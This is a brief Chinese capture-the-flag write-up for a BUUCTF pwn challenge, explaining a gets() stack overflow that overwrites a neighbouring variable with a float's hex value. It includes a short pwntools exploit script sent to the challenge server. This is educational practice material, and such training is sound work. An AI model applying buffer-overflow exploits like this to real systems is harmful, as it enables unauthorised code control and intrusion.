Gets 栈溢出(变量覆盖)

Gets 栈溢出(变量覆盖)

话不多说,直接上题(BUUCTF)

Gets 栈溢出(变量覆盖)-侠者安全社区

IDA64 反编译

Gets 栈溢出(变量覆盖)-侠者安全社区

追踪看到 gets

Gets 栈溢出(变量覆盖)-侠者安全社区

v1 的下面就是 v2,通过溢出改为 v2 的值使条件成立

Gets 栈溢出(变量覆盖)-侠者安全社区

注意:浮点数要转十六进制

from pwn import *

p = remote("node5.buuoj.cn", 29455)

payload = b'a' * 44 + p64(0x41348000)

p.sendline(payload)
p.interactive()

拿到 flag

 

© 版权声明
THE END
喜欢就支持一下吧
点赞12 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情快捷回复

    暂无评论内容